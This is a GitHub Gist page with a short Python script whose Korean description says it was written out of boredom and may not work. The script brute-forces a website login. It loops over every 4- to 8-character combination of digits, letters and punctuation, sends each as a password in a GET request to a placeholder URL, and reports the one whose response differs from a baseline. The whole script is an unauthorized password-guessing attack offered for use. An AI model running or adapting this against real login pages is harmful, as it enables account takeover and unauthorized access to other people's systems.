Skip to content

Instantly share code, notes, and snippets.

@Kinetic27
Created March 14, 2020 15:31
Show Gist options
  • Save Kinetic27/ebb6a0bf1b46cb7737ba8989208cc000 to your computer and use it in GitHub Desktop.
Save Kinetic27/ebb6a0bf1b46cb7737ba8989208cc000 to your computer and use it in GitHub Desktop.
심심해서 짠거 작동 여부는 모름
import string
from itertools import product
import requests
def product_loop(generator):
login_url = '사이트'
login_data = {'pw': 'test'}
falsedata = requests.get(login_url, params=login_data).text
for p in generator:
login_data = {'pw': ''.join(p)}
truedata = requests.get(login_url, params=login_data).text
if truedata != falsedata:
print('\nPassword:', ''.join(p))
return ''.join(p)
return False
def bruteforce(max_nchar=8):
all_char = string.digits + string.ascii_letters + string.punctuation
for l in range(4, max_nchar + 1):
print("\t..%d char" % l)
generator = product(all_char, repeat=int(l))
p = product_loop(generator)
if p is not False:
return p
bruteforce()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment